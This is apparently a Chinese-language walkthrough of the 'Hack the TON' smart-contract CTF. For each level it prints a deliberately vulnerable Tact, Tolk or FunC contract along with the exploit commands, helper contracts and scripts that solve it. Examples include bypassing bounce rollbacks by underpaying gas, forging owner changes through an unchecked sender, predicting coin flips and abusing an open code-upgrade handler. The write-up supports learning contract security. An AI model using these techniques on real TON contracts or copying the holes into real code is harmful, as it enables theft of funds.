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Hack the TON

#blockchain #smart contract #ton #tact #tolk #func

0. INTRODUCTION

  • 可以在控制台中使用 help() 查看可以使用的程序功能

    (index) description
    fromNano(nano) "convert nano units to ton"
    toNano(ton) "convert ton units to nano"
    contract "current level contract instance (if created)"
    player "current player (if wallet connected)"
    Address.parse(addressString) "parse Address from string"
    tonConnectUI.sendTransaction(tx, options) "send custom transaction to arbitrary address"
    beginCell() "start building a cell"

  • 在连接钱包后，点击 GET NEW INSTANCE 获取一个题目实例

  • 与 Ethernaut 类似，可以在控制台使用 contract 获取信息或与合约交互

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    > await contract.getInfo() 
​You will find what you need in getInfo1().
> await contract.getInfo1() 
​Try getInfo2(), but with 'hello' as a parameter. 
​> await contract.getInfo2("hello") 
​Try getInfoNum() to know the number of the next info method to call. 
​> await contract.getInfoNum() 
​42n​
> await contract.getInfo42() 
​Send message Authenticate if you know the password.
> await contract.getPassword() 
​Tact and FunC for the win!
> await contract.send(player, {value: toNano(0.05)}, {$$type: "Authenticate", password: "Tact and FunC for the win!"});

  • 完成后点击 CHECK SOLUTION 验证

References

1. DEPOSIT

You will beat this level if:

  • Claim ownership of the contract

  • Reduce its balance to 0

DepositLevel 
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import "@stdlib/ownable";
import "@stdlib/deploy";
import "./messages";

contract DepositLevel with Ownable, Deployable {
    owner: Address;
    player: Address;
    nonce: Int;

    init(player: Address, nonce: Int) {
        self.owner = sender();
        self.player = player;
        self.nonce = nonce;
    }

    receive() {
        require(context().value >= ton("0.01"), "Not enough TON.");
        self.owner = sender();
    }

    receive("withdraw") {
        self.requireOwner();
        send(SendParameters{
            to: sender(),
            bounce: true,
            value: 0,
            mode: SendRemainingBalance + SendIgnoreErrors
        });
    }

    receive("check") {
        let ctx: Context = context();
        send(SendParameters{
            to: ctx.sender,
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{
                name: "deposit",
                completed: (myBalance() - ctx.value) == 0 && self.owner == self.player,
            }.toCell()
        });
    }

    get fun balance(): String {
        return myBalance().toCoinsString();
    }
}

  • 只有所有者才能取出合约持有的 TON，首先向合约发送 TON 以成为所有者

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    > await player.send({to: contract.address.toString(), value: toNano("0.05")});
// or
> await contract.send(player, {value: toNano(0.05)}, null);

  • 使用 withdraw 取出合约中所有的资金

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    > await contract.send(player, {value: toNano(0.05)}, "withdraw");

2. SCANNER

Claim ownership of the contract below to complete this level.

ScannerLevel 
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import "@stdlib/ownable";
import "@stdlib/deploy";
import "./messages";

contract Child with Deployable {
    parent: Address;
    nonce: Int;

    init(parent: Address, nonce: Int) {
        self.parent = parent;
        self.nonce = nonce;
    }
}

message SendChildAddress {
    address: Address;
}

contract ScannerLevel with Ownable, Deployable {
    owner: Address;
    player: Address;
    nonce: Int;
    child: Address;

    init(player: Address, nonce: Int) {
        self.owner = sender();
        self.player = player;
        self.nonce = nonce;

        let level_init: StateInit = initOf Child(myAddress(), nonce);
        self.child = contractAddress(level_init);
        send(SendParameters{
            to: self.child,
            value: ton("0.01"),
            mode: SendPayGasSeparately,
            bounce: false,
            data: level_init.data,
            code: level_init.code,
            body: Deploy {
                queryId: 0,
            }.toCell()
        });
    }

    receive(msg: SendChildAddress) {
        require(msg.address == self.child, "Wrong child address.");
        self.owner = sender();
    }

    receive("check") {
        send(SendParameters{
            to: sender(),
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{
                name: "scanner",
                completed: self.owner == self.player
            }.toCell()
        });
    }
}
  • 要成为合约的所有者需要知道 Child 合约的地址，可以通过 Tonviewer 查看 ScannerLevel 部署的交易来获知

  • 发送 Child 合约地址

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    > await contract.send(player, {value: toNano("0.05")}, {$$type: "SendChildAddress", address: Address.parse("kQDjT2mQ8ePcmYsBMQDi4JJHPzZNU1nqe_KbqIOwUKZaCX2Z")});

3. BOUNCE

Claim ownership of the contract below to complete this level.

BounceLevel 
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import "@stdlib/ownable";
import "@stdlib/deploy";
import "./messages";

message Start {
    time: Int as uint32;
}

message Finish {
    time: Int as uint32;
}

contract Timer with Deployable {
    parent: Address;
    nonce: Int;
    startTime: Int? as uint32;

    init(parent: Address, nonce: Int) {
        self.parent = parent;
        self.nonce = nonce;
    }

    receive(msg: Start) {
        self.startTime = msg.time;
    }

    receive(msg: Finish) {
        if (self.startTime == null) {
            return;
        }

        require(msg.time - self.startTime!! < 180, "Too late.");
        self.startTime = null;
    }
}

contract BounceLevel with Ownable, Deployable {
    owner: Address;
    player: Address;
    nonce: Int;
    timer: Address;

    init(player: Address, nonce: Int) {
        self.owner = sender();
        self.player = player;
        self.nonce = nonce;

        let level_init: StateInit = initOf Timer(myAddress(), nonce);
        self.timer = contractAddress(level_init);
        send(SendParameters{
            to: self.timer,
            value: ton("0.01"),
            bounce: false,
            data: level_init.data,
            code: level_init.code
        });
    }

    receive("start") {
        send(SendParameters{
            to: self.timer,
            value: 0,
            bounce: true,
            mode: SendRemainingValue,
            body: Start{
                time: now()
            }.toCell()
        });
    }

    receive("finish") {
        send(SendParameters{
            to: self.timer,
            value: 0,
            bounce: true,
            mode: SendRemainingValue,
            body: Finish{
                time: now()
            }.toCell()
        });
    }

    bounced(_: Slice) {
        self.owner = self.player;
    }

    receive("check") {
        send(SendParameters{
            to: sender(),
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{
                name: "bounce",
                completed: self.owner == self.player
            }.toCell()
        });
    }
}
  • 合约 BounceLevel 收到弹回的消息后就会将玩家设为合约所有者

  • 只需要在发送完 start 的三分钟后向 BounceLevel 发送 finish，让合约 Timer 抛出错误弹回消息即可

    • 或直接向 Timer 发送 start 设置自定义开始时间
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    > await contract.send(player, {value: toNano('0.05')}, "start");
// or
> await player.send({to: Address.parse("kQCmY8KG3F2y-2Unxl2jMtJMIUjT9fWhqXWM37hPHWbnPIjp"), value: toNano("0.01"), body: beginCell().storeUint(1141136470, 32).storeUint(0, 32).endCell()});
// opcode: sha256("Start{time:uint32}") >> 224

> await contract.send(player, {value: toNano('0.05')}, "finish");

References

4. INTRUDER

Claim ownership of the contract below to complete this level.

IntruderLevel 
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import "@stdlib/deploy";
import "./messages";

message(0x6e38a063) ChangeLevelOwner {
    newOwner: Address;
}

message(0x6f13c225) ChangeClientOwner {
    newOwner: Address;
}

message(0xa4e501ef) ChangeOwnerInternal {
    newOwner: Address;
}

contract Manager with Deployable {
    client: Address;
    nonce: Int;

    init(client: Address, nonce: Int) {
        self.client = client;
        self.nonce = nonce;
    }

    receive(msg: ChangeClientOwner) {
        send(SendParameters{
            to: self.client,
            value: 0,
            bounce: false,
            mode: SendRemainingValue,
            body: ChangeOwnerInternal{
                newOwner: msg.newOwner
            }.toCell()
        });
    }
}

contract IntruderLevel with Deployable {
    owner: Address;
    player: Address;
    nonce: Int;
    manager: Address;

    init(player: Address, nonce: Int) {
        self.owner = sender();
        self.player = player;
        self.nonce = nonce;

        let level_init: StateInit = initOf Manager(myAddress(), nonce);
        self.manager = contractAddress(level_init);
        send(SendParameters{
            to: self.manager,
            value: ton("0.01"),
            bounce: false,
            data: level_init.data,
            code: level_init.code
        });
    }

    receive(msg: ChangeLevelOwner) {
        require(sender() == self.owner, "Wrong sender.");
        send(SendParameters{
            to: self.manager,
            value: 0,
            bounce: false,
            mode: SendRemainingValue,
            body: ChangeClientOwner{
                newOwner: msg.newOwner
            }.toCell()
        });
    }

    receive(msg: ChangeOwnerInternal) {
        require(sender() == self.manager, "Wrong sender.");
        self.owner = msg.newOwner;
    }

    receive("check") {
        send(SendParameters{
            to: sender(),
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{
                name: "intruder",
                completed: self.owner == self.player
            }.toCell()
        });
    }

    get fun owner(): Address {
        return self.owner;
    }
}
  • 只有 manager 能设置合约的所有者，而初始 manager 为 Manager 合约

  • 合约 Manager 不检查 ChangeClientOwner 消息的发送者

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    message(0x6f13c225) ChangeClientOwner {
    newOwner: Address;
}

  • 可以向 Manager 合约发送 ChangeClientOwner 消息来设置 IntruderLevel 合约的所有者

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    > await player.send({to: Address.parse("kQCi5Sne638i1fdoGMK7cnKPVuQWgyGO4N4LxneLonWwvgZ_"), value: toNano("0.01"), body: beginCell().storeUint(0x6f13c225, 32).storeAddress(player.address).endCell()});

5. PARTIAL

The goal of this level is to hack the vault contract below.

You are given 100 tokens to start with and you will beat the level if you manage to acquire 1000 or more.

PartialLevel 
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import "@stdlib/ownable";
import "@stdlib/deploy";
import "./messages";

message DepositToVault {
    amount: Int as coins;
}

message WithdrawFromVault {
    amount: Int as coins;
}

message DepositInternal {
    amount: Int as coins;
}

message WithdrawInternal {
    amount: Int as coins;
}

contract Vault with Ownable, Deployable {
    owner: Address;
    nonce: Int;
    balance: Int as coins = 500;

    init(owner: Address, nonce: Int) {
        self.owner = owner;
        self.nonce = nonce;
    }

    receive(msg: DepositInternal) {
        self.requireOwner();
        self.balance += msg.amount;
    }

    receive(msg: WithdrawInternal) {
        self.requireOwner();
        require(self.balance >= msg.amount, "Not enough balance.");
        self.balance -= msg.amount;
    }

    get fun balance(): Int {
        return self.balance;
    }
}

contract PartialLevel with Deployable {
    player: Address;
    nonce: Int;
    vault: Address;
    balance: Int as coins = 100;

    init(player: Address, nonce: Int) {
        self.player = player;
        self.nonce = nonce;

        let level_init: StateInit = initOf Vault(myAddress(), nonce);
        self.vault = contractAddress(level_init);
        send(SendParameters{
            to: self.vault,
            value: ton("0.01"),
            bounce: false,
            data: level_init.data,
            code: level_init.code
        });
    }

    receive(msg: DepositToVault) {
        require(self.balance >= msg.amount, "Not enough balance.");
        self.balance -= msg.amount;
        send(SendParameters{
            to: self.vault,
            value: 0,
            bounce: false,
            mode: SendRemainingValue,
            body: DepositInternal{
                amount: msg.amount
            }.toCell()
        });
    }

    receive(msg: WithdrawFromVault) {
        self.balance += msg.amount;
        send(SendParameters{
            to: self.vault,
            value: 0,
            bounce: true,
            mode: SendRemainingValue,
            body: WithdrawInternal{
                amount: msg.amount
            }.toCell()
        });
    }

    bounced(msg: WithdrawInternal) {
        self.balance -= msg.amount;
    }

    receive("check") {
        send(SendParameters{
            to: sender(),
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{
                name: "partial",
                completed: self.balance >= 1000
            }.toCell()
        });
    }

    get fun balance(): Int {
        return self.balance;
    }
}

  • 通过 WithdrawFromVault 可以增加合约的余额，但若 WithdrawInternal 执行失败，将回弹消息并回滚余额

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    contract Vault with Ownable, Deployable {
    // [...]

    receive(msg: WithdrawInternal) {
        self.requireOwner();
        require(self.balance >= msg.amount, "Not enough balance.");
        self.balance -= msg.amount;
    }

    // [...]
}

contract PartialLevel with Deployable {
    // [...]

    receive(msg: WithdrawFromVault) {
        self.balance += msg.amount;
        send(SendParameters{
            to: self.vault,
            value: 0,
            bounce: true,
            mode: SendRemainingValue,
            body: WithdrawInternal{
                amount: msg.amount
            }.toCell()
        });
    }

    bounced(msg: WithdrawInternal) {
        self.balance -= msg.amount;
    }

    // [...]
}

  • 在 TON 中， 如果支付的费用不足以完成执行，则不会创建回弹消息。因此只需要支付仅供 WithdrawFromVault 执行的费用，使余额增加即可

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    > await contract.send(player, {value: toNano("0.005")}, {$$type: "WithdrawFromVault", amount: 900});
// https://testnet.tonviewer.com/transaction/407df39b95d852f44d1b1a9b8176bc68a44701bc2afabd7b069110faba553a5f

References

6. PEEK

Unlock the contract below to complete this level.

PeekLevel 
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import "@stdlib/deploy";
import "../messages";
message Unlock {
    password: Int as uint32;
}

contract PeekLevel with Deployable {
    player: Address;
    nonce: Int;
    password: Int as uint32;
    locked: Bool = true;
    init(player: Address, nonce: Int, password: Int){
        self.player = player;
        self.nonce = nonce;
        self.password = password;
    }

    receive(msg: Unlock){
        require(msg.password == self.password, "Wrong password.");
        self.locked = false;
    }

    receive("check"){
        send(SendParameters{
            to: sender(),
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{name: "peek", completed: !self.locked}.toCell()
        }
        );
    }

    get fun locked(): Bool {
        return self.locked;
    }
}
  • 提供正确的密码即可解锁，需要解析初始化消息
  • 部署 Tact 编写的合约，函数 init() 的参数包含在 init data 中，并将在部署附带的第一次合约调用中根据 init data 更新存储

  • 使用 pytoniq-core 解析初始数据

    • 尽管可以使用较小的 Int 表示形式来减少存储开销，但 TVM 仅对 257 位整型进行操作。因此，init data 中的整型参数均为 257 位有符号整数
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    from pytoniq_core import Cell, Slice

init = Cell.one_from_boc('b5ee9c720102120100034600020134040101c340007a7155b50ef485eb69331e4e6a963457a71a0d34a960e74e38724741ddb27b00000000000000000000000000000000000000000000000000000000000000005800000000000000000000000000000000000000000000000000000000abad86ee020101c0030105a1a75f040114ff00f4a413f4bcf2c80b05020162060702ead001d0d3030171b0a301fa400120d74981010bbaf2e08820d70b0a208104ffbaf2d0898309baf2e088545053036f04f86102f862db3c5513db3cf2e082c8f84301cc7f01ca005530504320d74981010bbaf2e08820d70b0a208104ffbaf2d0898309baf2e088cf16810101cf0012cb1fca00c9ed540f080201200d0e02eeeda2edfb0192307fe07021d749c21f953020d70b1fde2082102194da8eba8e1c30d31f0182102194da8ebaf2e081d31f0131816dde3222baf2f4707fe0208210946a98b6ba8ea830d31f018210946a98b6baf2e081d33f0131c8018210aff90f5758cb1fcb3fc9f84201706ddb3c7fe0c0009130e30d70090a013a6d6d226eb3995b206ef2d0806f22019132e2102470030480425023db3c0b01aef90182f0b92ab1b3504a092e6e10b90beb85a7ceb990452ba73c09375bf2dd2a56cbcf7fba8eaff842708040708b47065656b825c000c85982106df37b4d5003cb1fc858cf16c901ccca00c91443306d6ddb3c7fdb31e00b01cac87101ca01500701ca007001ca02500520d74981010bbaf2e08820d70b0a208104ffbaf2d0898309baf2e088cf165003fa027001ca68236eb3917f93246eb3e2973333017001ca00e30d216eb39c7f01ca0001206ef2d08001cc95317001ca00e2c901fb000c00987f01ca00c87001ca007001ca00246eb39d7f01ca0004206ef2d0805004cc9634037001ca00e2246eb39d7f01ca0004206ef2d0805004cc9634037001ca00e27001ca00027f01ca0002c958cc0211becdbed9e6d9e3620c0f100011be15f76a268690000c01eced44d0d401f863d200018e2dfa400120d74981010bbaf2e08820d70b0a208104ffbaf2d0898309baf2e08801810101d700d31fd20055306c14e0f828d70b0a8309baf2e089fa400120d74981010bbaf2e08820d70b0a208104ffbaf2d0898309baf2e08801810101d700810101d700552003d158db3c1100022000027f')
init_slice = init.begin_parse()
init_slice.load_ref()   # skip init code
init_data = init_slice.load_ref()
data_slice = init_data.begin_parse()
data_slice.load_ref()   # skip tact context system
data_slice.load_int(1)  # skip init status
data_slice.load_address()   # player
data_slice.load_int(257)    # nonce
print(data_slice.load_int(257)) # password

  • 发送解锁消息

    1
    > await contract.send(player, {value: toNano("0.005")}, {$$type: "Unlock", password: 720069051});

References

7. SWAP

You will beat the level if you manage to acquire tokens amount equivalent to 1000 TON or more.

SwapLevel 
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import "@stdlib/ownable";
import "@stdlib/deploy";
import "../messages";
message SwapTonToTokens {
    amount: Int as coins;
}
message RequestBalance {
    sender: Address;
}
message ResponseBalance {
    sender: Address;
    balance: Int as coins;
}

contract Token with Ownable, Deployable {
    owner: Address;
    nonce: Int;
    balance: Int as coins = 0;
    init(owner: Address, nonce: Int){
        self.owner = owner;
        self.nonce = nonce;
    }

    receive(msg: SwapTonToTokens){
        self.requireOwner();
        self.balance += msg.amount;
        send(SendParameters{
            to: sender(),
            value: 0,
            bounce: false,
            mode: SendRemainingValue,
            body: "send ton".asComment()
        }
        );
    }

    receive("swap tokens to ton"){
        self.requireOwner();
        self.balance = 0;
        send(SendParameters{
            to: sender(),
            bounce: true,
            value: 0,
            mode: SendRemainingBalance + SendIgnoreErrors
        }
        );
    }

    receive(msg: RequestBalance){
        send(SendParameters{
            to: sender(),
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: ResponseBalance{
            sender: msg.sender,
            balance: self.balance
            }.toCell()
        }
        );
    }

    get fun balance(): Int {
        return self.balance;
    }
}

contract SwapLevel with Deployable {
    player: Address;
    nonce: Int;
    token: Address;
    init(player: Address, nonce: Int){
        self.player = player;
        self.nonce = nonce;
        let token_init: StateInit = initOf Token(myAddress(), nonce);
        self.token = contractAddress(token_init);
        send(SendParameters{
            to: self.token,
            value: ton("0.01"),
            bounce: false,
            data: token_init.data,
            code: token_init.code
        }
        );
    }

    receive(){}

    receive("swap ton to tokens"){
        send(SendParameters{
            to: self.token,
            value: 0,
            bounce: false,
            mode: SendRemainingValue,
            body: SwapTonToTokens{amount: myBalance() - context().value}.toCell()
        });
    }

    receive("swap tokens to ton"){
        send(SendParameters{
            to: self.token,
            value: 0,
            bounce: false,
            mode: SendRemainingValue,
            body: "swap tokens to ton".asComment()
        }
        );
    }

    receive("send ton"){
        require(sender() == self.token, "Wrong sender.");
        send(SendParameters{
            to: self.token,
            bounce: true,
            value: 0,
            mode: SendRemainingBalance + SendIgnoreErrors
        }
        );
    }

    receive("withdraw"){
        send(SendParameters{
            to: self.player,
            bounce: true,
            value: 0,
            mode: SendRemainingBalance + SendIgnoreErrors
        }
        );
    }

    receive("check"){
        send(SendParameters{
            to: self.token,
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: RequestBalance{sender: sender()}.toCell()
        }
        );
    }

    receive(msg: ResponseBalance){
        require(sender() == self.token, "Wrong sender.");
        send(SendParameters{
            to: msg.sender,
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{
                name: "swap",
                completed: msg.balance >= ton("1000")
            }.toCell()
        }
        );
    }
}

  • 操作 swap ton to tokens 每次能使 Token 的 balance 增加 myBalance() - context().value，即合约 SwapLevel 持有的 TON 越多，每次的增加量越大。向合约 SwapLevel 发送 TON 增加其余额以减少操作的次数

    1
    await contract.send(player, {value: toNano("4")}, null);

  • 合约 Token 执行操作 SwapTonToTokens 时，会向合约 SwapLevel 发送 send ton 消息，使其将所持有的全部 TON 发送给合约 Token。需要控制 swap ton to tokens 消息附带的 TON，使合约 SwapLevel 无法将余额发送给合约 Token。经测试，可以使用 0.008 TON

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    > await contract.send(player, {value: toNano("0.008")}, "swap ton to tokens");

  • 使用 TON Web IDE 部署辅助合约，批量发送消息

    • 全局设置中可以修改消息附带的 TON 数量
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    import "@stdlib/deploy";

message Swap {
    cnt: Int as uint32;
    target: Address;
}

contract MultiMessageSender with Deployable {
    // example args: {cnt: 1000, value: 1 TON}
    receive(msg: Swap) {
        repeat(msg.cnt) {
            send(SendParameters{
                to: msg.target,
                value: ton("0.008"),
                mode: SendDefaultMode + SendPayGasSeparately,
                body: "swap ton to tokens".asComment()
            });
        }
    }
}

  • 检查结束后取回合约中的 TON

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    > await contract.send(player, {value: toNano("0.008")}, "swap tokens to ton");
> await contract.send(player, {value: toNano("0.005")}, "withdraw");

8. COIN

To complete the level, guess 10 times in a row which side the coin will land on.

CoinLevel 
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import "@stdlib/deploy";
import "../messages";
message Flip {
    side: Bool;
}

contract Contract {
    nonce: Int;
    init(nonce: Int){
        self.nonce = nonce;
    }
}

contract CoinLevel with Deployable {
    player: Address;
    nonce: Int;
    consecutiveWins: Int = 0;
    flipsCount: Int = 0;
    init(player: Address, nonce: Int){
        self.player = player;
        self.nonce = nonce;
    }

    receive(msg: Flip){
        let init: StateInit = initOf Contract(self.flipsCount);
        let contractAddress: Address = contractAddress(init);
        let side = contractAddress.asSlice().asCell().hash() % 2 == 0;
        self.consecutiveWins = msg.side == side ? self.consecutiveWins + 1 : 0;
        self.flipsCount += 1;
    }

    receive("check"){
        send(SendParameters{
            to: sender(),
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{
            name: "coin",
            completed: self.consecutiveWins >= 10
            }.toCell()
        }
        );
    }

    get fun consecutiveWins(): Int {
        return self.consecutiveWins;
    }

    get fun flipsCount(): Int {
        return self.flipsCount;
    }
}

  • 需要连续猜对 10 次，借助辅助合约预测结果并发送消息

    • 题目合约使用的 Tact 编译器版本为 1.4.4。不同编译器版本可能产生不同的编译结果，最好使用相同版本的编译器，保证 initOf 在辅助合约中的计算结果与实例合约相同
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    import "@stdlib/deploy";

message Flip {
    side: Bool;
}
message Guess {
    cnt: Int as uint32;
    start: Int as uint32;
    target: Address;
}

contract Contract {
    nonce: Int;
    init(nonce: Int){
        self.nonce = nonce;
    }
}

contract Guesser with Deployable {

    receive(msg: Guess) {
        let p: Int = msg.start;
        while(p < msg.start + msg.cnt) {
            let init: StateInit = initOf Contract(p);
            let contractAddress: Address = contractAddress(init);
            let side: Bool = contractAddress.asSlice().asCell().hash() % 2 == 0;
            send(SendParameters{
                to: msg.target,
                value: ton("0.01"),
                mode: SendDefaultMode + SendPayGasSeparately,
                body: Flip{
                    side: side
                }.toCell()
            });
            p += 1;
        }
    }
}

9. GATEKEEPER

Unlock the contract below to complete this level.

GatekeeperLevel 
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import "@stdlib/deploy";
import "../messages";
message Unlock {
    a: Int;
    b: Int;
}

contract GatekeeperLevel with Deployable {
    player: Address;
    nonce: Int;
    locked: Bool = true;
    init(player: Address, nonce: Int){
        self.player = player;
        self.nonce = nonce;
    }

    receive(msg: Unlock){
        require((sender().asSlice().asCell().hash() ^ ((msg.a << 2) + msg.b)) ==
            myAddress().asSlice().asCell().hash(),
        "Check failed."
        );
        self.locked = false;
    }

    receive("check"){
        send(SendParameters{
            to: sender(),
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{
            name: "gatekeeper",
            completed: !self.locked
            }.toCell()
        }
        );
    }

    get fun locked(): Bool {
        return self.locked;
    }
}
  • 解锁需要 sender().asSlice().asCell().hash() ^ ((msg.a << 2) + msg.b) 的值与 myAddress().asSlice().asCell().hash() 相等

  • 获取实例地址的哈希值

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    > beginCell().storeAddress(contract.address).endCell().hash().toHex()
3036979211fd86c13a1113af157f701ea19eafb8e1d1c36d761c5ff41c99bc80

  • 由于 a 和 b 没有限制范围，可以直接将 a 设置为 0，b 为发送者地址哈希值与实例地址哈希值异或的结果

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    > await contract.send(player, {value: toNano('0.01')}, {$$type: 'Unlock', a: 0n, b: 86130810477776835231294161513457632144148633294017539526014373747458502429745n});

10. BRUTE-FORCE

Unlock the contract below to complete this level.

BruteforceLevel 
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import "@stdlib/deploy";
import "../messages";
message Unlock {
    a: Int;
    b: Int;
    c: Int;
    d: Int;
}

contract BruteforceLevel with Deployable {
    player: Address;
    nonce: Int;
    locked: Bool = true;
    x: Int as uint8 = 0;
    y: Int as uint8 = 0;
    init(player: Address, nonce: Int){
        self.player = player;
        self.nonce = nonce;
    }

    receive(msg: Unlock){
        self.x = msg.a + msg.c;
        self.y = msg.b + msg.d;
        require((self.x + self.y) == 2, "First check failed.");
        require((((pow(msg.a, 25) +
            pow(msg.b, 25)) +
            pow(msg.c, 25)) +
            pow(msg.d, 25)) ==
            1968172103452999492963878188028555943794336458502883276710491621054698698752,
        "Second check failed."
        );
        self.locked = false;
    }

    receive("check"){
        send(SendParameters{
            to: sender(),
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{
            name: "bruteforce",
            completed: !self.locked
            }.toCell()
        }
        );
    }

    get fun locked(): Bool {
        return self.locked;
    }
}
  • 解锁需要提供满足特定条件的四个整数
    • (self.x + self.y) == 2 即 msg.a + msg.b + msg.c + msg.d == 2，说明正负整数的绝对值之差为 2，且 msg.a + msg.c 和 msg.b + msg.d 的结果在 8 位无符号整型的范围内
    • (((pow(msg.a, 25) + pow(msg.b, 25)) + pow(msg.c, 25)) + pow(msg.d, 25)) 的结果是一个正整数 1968172103452999492963878188028555943794336458502883276710491621054698698752

  • 由此推测出两种可能的情况

    • self.x 为 2，self.y 为 0（反之亦同）
    • self.x 和 self.y 同为 1
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    t = 1968172103452999492963878188028555943794336458502883276710491621054698698752
for a in range(2, 3000):
    c = - (a - 2)
    r = pow(a, 25) + pow(c, 25)
    if r == t:
        print(a, c)
        break
    if r > t:
        break
for a in range(1, 3000):
    for b in range(1, 3000):
        c, d = - (a - 1), - (b - 1)
        r = pow(a, 25) + pow(b, 25) + pow(c, 25) + pow(d, 25)
        if r == t:
            print(a, b, c, d)
            break
    else:
        continue
    break

  • 发送结果到实例合约

    1
    > await contract.send(player, {value: toNano('0.01')}, {$$type: 'Unlock', a: 850, b: 1200, c: -849, d: -1199});

11. TOLK

Unlock the contract below to complete this level.

Tolk 
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const OP_UNLOCK = "op::unlock"c; // create an opcode from string using the "c" prefix, this results in 0xf0fd50bb opcode in this case

// storage variables

global ctxPlayer: slice;
global ctxNonce: int;
global ctxLocked: bool;

// loadData populates storage variables using stored data
fun loadData() {
    var ds = getContractData().beginParse();

    ctxPlayer = ds.loadAddress();
    ctxNonce = ds.loadUint(32);
    ctxLocked = ds.loadBool();

    ds.assertEndOfSlice();
}

// saveData stores storage variables as a cell into persistent storage
fun saveData() {
    setContractData(
        beginCell()
            .storeSlice(ctxPlayer)
            .storeUint(ctxNonce, 32)
            .storeBool(ctxLocked)
        .endCell()
    );
}

// onInternalMessage is the main function of the contract and is called when it receives a message from other contracts
fun onInternalMessage(myBalance: int, msgValue: int, inMsgFull: cell, inMsgBody: slice) {
    if (inMsgBody.isEndOfSlice()) { // ignore all empty messages
        return;
    }

    var cs: slice = inMsgFull.beginParse();
    val flags: int = cs.loadUint(4);
    if (flags & 1) { // ignore all bounced messages
        return;
    }
    val senderAddress: slice = cs.loadAddress();

    loadData(); // here we populate the storage variables

    val op: int = inMsgBody.loadUint(32); // by convention, the first 32 bits of incoming message is the op

    // receive "check" message
    if (isSliceBitsEqual(inMsgBody, "check")) {
        // send CheckLevelResult msg
        val msgBody: cell = beginCell()
            .storeUint(0x6df37b4d, 32)
            .storeRef(beginCell().storeSlice("tolk").endCell())
            .storeBool(!ctxLocked)
        .endCell();
        val msg: builder = beginCell()
            .storeUint(0x18, 6)
            .storeSlice(senderAddress)
            .storeCoins(0)
            .storeUint(1, 1 + 4 + 4 + 64 + 32 + 1 + 1)
            .storeRef(msgBody);

        // send all the remaining value
        sendRawMessage(msg.endCell(), 64);
        return;
    }

    if (op == OP_UNLOCK) {
        ctxLocked = false;
        saveData();
        return;
    }

    throw 0xffff; // if the message contains an op that is not known to this contract, we throw
}

// get methods are a means to conveniently read contract data using, for example, HTTP APIs
// note that unlike in many other smart contract VMs, get methods cannot be called by other contracts

get locked(): bool {
    loadData();
    return ctxLocked;
}

发送 OP_UNLOCK 对应的操作码即可解锁。

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> await contract.send(player, beginCell().storeUint(0xf0fd50bb, 32).endCell(), toNano('0.005'));

12. UPGRADE

Unlock the contract below to complete this level.

Upgrade 
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const OP_UPGRADE = "op::upgrade"c; // create an opcode from string using the "c" prefix, this results in 0xdbfaf817 opcode in this case

// storage variables

global ctxPlayer: slice;
global ctxNonce: int;
global ctxLocked: bool;

// loadData populates storage variables using stored data
fun loadData() {
    var ds = getContractData().beginParse();

    ctxPlayer = ds.loadAddress();
    ctxNonce = ds.loadUint(32);
    ctxLocked = ds.loadBool();

    ds.assertEndOfSlice();
}

// onInternalMessage is the main function of the contract and is called when it receives a message from other contracts
fun onInternalMessage(myBalance: int, msgValue: int, inMsgFull: cell, inMsgBody: slice) {
    if (inMsgBody.isEndOfSlice()) { // ignore all empty messages
        return;
    }

    var cs: slice = inMsgFull.beginParse();
    val flags: int = cs.loadUint(4);
    if (flags & 1) { // ignore all bounced messages
        return;
    }
    val senderAddress: slice = cs.loadAddress();

    loadData(); // here we populate the storage variables

    val op: int = inMsgBody.loadUint(32); // by convention, the first 32 bits of incoming message is the op

    // receive "check" message
    if (isSliceBitsEqual(inMsgBody, "check")) {
        // send CheckLevelResult msg
        val msgBody: cell = beginCell()
            .storeUint(0x6df37b4d, 32)
            .storeRef(beginCell().storeSlice("upgrade").endCell())
            .storeBool(!ctxLocked)
        .endCell();
        val msg: builder = beginCell()
            .storeUint(0x18, 6)
            .storeSlice(senderAddress)
            .storeCoins(0)
            .storeUint(1, 1 + 4 + 4 + 64 + 32 + 1 + 1)
            .storeRef(msgBody);

        // send all the remaining value
        sendRawMessage(msg.endCell(), 64);
        return;
    }

    if (op == OP_UPGRADE) {
        val code: cell = inMsgBody.loadRef();
        setContractCodePostponed(code);
        return;
    }

    throw 0xffff; // if the message contains an op that is not known to this contract, we throw
}

// get methods are a means to conveniently read contract data using, for example, HTTP APIs
// note that unlike in many other smart contract VMs, get methods cannot be called by other contracts

get locked(): bool {
    loadData();
    return ctxLocked;
}

  • 向合约发送 OP_UPGRADE 消息可以更新合约的代码

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    if (op == OP_UPGRADE) {
    val code: cell = inMsgBody.loadRef();
    setContractCodePostponed(code);
    return;
}

  • 可以在新代码中增加更新存储的逻辑

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    if (op == 0x12345678) {
    setContractData(
        beginCell().storeSlice(ctxPlayer).storeUint(ctxNonce, 32).storeBool(false).endCell()
    );
    return;
}

  • 更新代码并解锁

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    export async function run(provider: NetworkProvider, args: string[]) {
    const ui = provider.ui();

    const address = Address.parse(args.length > 0 ? args[0] : await ui.input('old address'));

    const oldContract = provider.open(Upgrade.createFromAddress(address));

    await oldContract.send(
        provider.sender(),
        beginCell().storeUint(0xdbfaf817, 32).storeRef(await compile("Upgrade")).endCell(),
        toNano('0.05')
    );

    sleep(10000);

    await oldContract.send(
        provider.sender(),
        beginCell().storeUint(0x12345678, 32).endCell(),
        toNano('0.01')
    );
}

13. ACCESS

Unlock the contract below to complete this level.

Access 
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#include "../imports/stdlib.fc";

const op::unlock = "op::unlock"c; ;; create an opcode from string using the "c" prefix, this results in 0xf0fd50bb opcode in this case
const op::change_owner = "op::change_owner"c; ;; create an opcode from string using the "c" prefix, this results in 0xf1eef33c opcode in this case
const op::change_nonce = "op::change_nonce"c; ;; create an opcode from string using the "c" prefix, this results in 0x8caa87bd opcode in this case

